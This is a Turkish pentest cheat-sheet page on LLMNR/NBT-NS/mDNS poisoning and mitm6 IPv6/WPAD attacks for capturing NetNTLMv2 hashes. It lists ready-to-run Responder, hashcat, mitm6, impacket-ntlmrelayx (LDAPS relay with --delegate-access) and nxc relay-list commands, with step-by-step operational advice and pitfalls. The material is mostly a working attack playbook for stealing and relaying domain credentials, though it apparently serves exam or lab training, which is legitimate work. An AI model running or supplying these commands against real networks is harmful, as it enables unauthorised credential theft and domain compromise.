LLMNR / NBT-NS / mDNS Poisoning ve mitm6 — NetNTLMv2 Yakalama
Ad çözümleme yedek protokolleri (LLMNR/NBT-NS/mDNS) ve IPv6 DHCPv6/WPAD zehirlenmesiyle kurban makinelerden NetNTLMv2 hash yakalanır; hash ya offline kırılır ya da ntlmrelayx ile relay edilir. Credentialsiz bir ağ ayağı için klasik ilk adımdır.
- Hedef L2 broadcast/multicast domaininde (aynı VLAN) bir konum
- Kurban makinelerin başarısız DNS sorguları (yanlış yazılan share, eski WPAD)
- Relay senaryosu için hedefte SMB signing kapalı (NetNTLMv2 relay) ya da LDAP signing/channel binding zayıf
Komutlar
responder -I {{INTERFACE}} -wd responder -I {{INTERFACE}} -A grep -ri 'NTLMv2' /usr/share/responder/logs/ ; ls -la /usr/share/responder/logs/ hashcat -m 5600 hashes.txt {{WORDLIST}} mitm6 -d {{DOMAIN}} -i {{INTERFACE}} impacket-ntlmrelayx -6 -t ldaps://{{DC_IP}} -wh attacker-wpad --delegate-access nxc smb {{RHOSTS}} --gen-relay-list relay_targets.txt Neden Çalışır
Windows bir ismi (örn. \\fileserv01\share) DNS’te çözemezse sessizce yedek (fallback) protokollere düşer: LLMNR (UDP 5355), NBT-NS (UDP 137) ve mDNS (UDP 5353). Bu protokoller broadcast/multicast’tir ve kimlik doğrulaması yoktur — ağdaki herkes ‘o makine benim’ diye yanıt verebilir. Responder tam olarak bunu yapar: zehirli yanıtı gönderir, kurban sana bağlanır ve SMB/HTTP authentication sırasında NetNTLMv2 hash’ini sana teslim eder. Bu hash bir parola değildir; ya offline kırılır ya da relay edilir.
Adım Adım (Klasik LLMNR Yolu)
- Pasif keşif (exam-safe): Önce
responder -I {{INTERFACE}} -Aile Analyze modunda dinle. Hiçbir paket enjekte etmeden hangi isimlerin sorulduğunu ve WPAD’in ağda aktif olup olmadığını gör. Sınav/yetki sınırlarında ‘önce gözlemle’ iyi pratiktir. - Aktif zehirleme:
responder -I {{INTERFACE}} -wdile dinleyicileri ve rogue WPAD proxy’sini aç. Kurban yanlış bir isim sorduğunda ya da WPAD aradığında sana gelir. - Hash toplama: Hash’ler
/usr/share/responder/logs/altına*-NTLMv2-SSP-*.txtolarak düşer. Önemli gotcha: Responder her benzersiz kullanıcının sadece ilk hash’ini geçerli kabul eder; aynı kullanıcı için sonraki kayıtlar genelde işe yaramaz. - Kırma:
hashcat -m 5600ile NetNTLMv2’yi kır. NTLMv2 mode 5600’dir (NTLMv1 = 5500). Kırılan parola domain düz-metin credential’ı verir.
mitm6 (IPv6) Yolu
Modern Windows IPv6’yı IPv4’ten önce tercih eder ama çoğu ağda IPv6 DHCP yapılandırılmamıştır. mitm6 -d {{DOMAIN}} rogue bir DHCPv6 sunucusu olur, kurbanlara kendini DNS sunucusu olarak verir; sonra kurbanın WPAD ve diğer sorguları sana akar. Genelde tek başına değil, ntlmrelayx ile zincirlenir: gelen makine/kullanıcı kimliklerini DC’nin LDAPS’ine relay edip RBCD (--delegate-access) kurarsın. Gotcha: mitm6 agresiftir, lab/yetki dışında sessiz değildir; ayrıca relay tarafında LDAP signing/channel binding zayıf olmalıdır.
Relay’e Köprü
Hash’i kırmak yerine relay etmek çoğu zaman daha hızlıdır (parola hiç kırılmaz). Önce nxc smb {{RHOSTS}} --gen-relay-list relay_targets.txt ile SMB signing zorunlu OLMAYAN hedefleri çıkar; bu liste relay zincirinin girdisidir. Coercion + relay’in tam detayı ad-coerce-relay sayfasındadır.
Sık Hatalar
- Yanlış arayüz:
{{INTERFACE}}mutlaka kurbanlarla aynı L2 segmentinde olmalı; routed/farklı VLAN’da broadcast ulaşmaz. - Responder ve ntlmrelayx aynı anda SMB/HTTP portlarını dinleyemez — relay yaparken Responder’ın
Responder.confiçinde SMB/HTTP’yiOffyapman gerekir. - Yakaladığın hash NTLMv1 ise mode 5500; v2 ile karıştırma.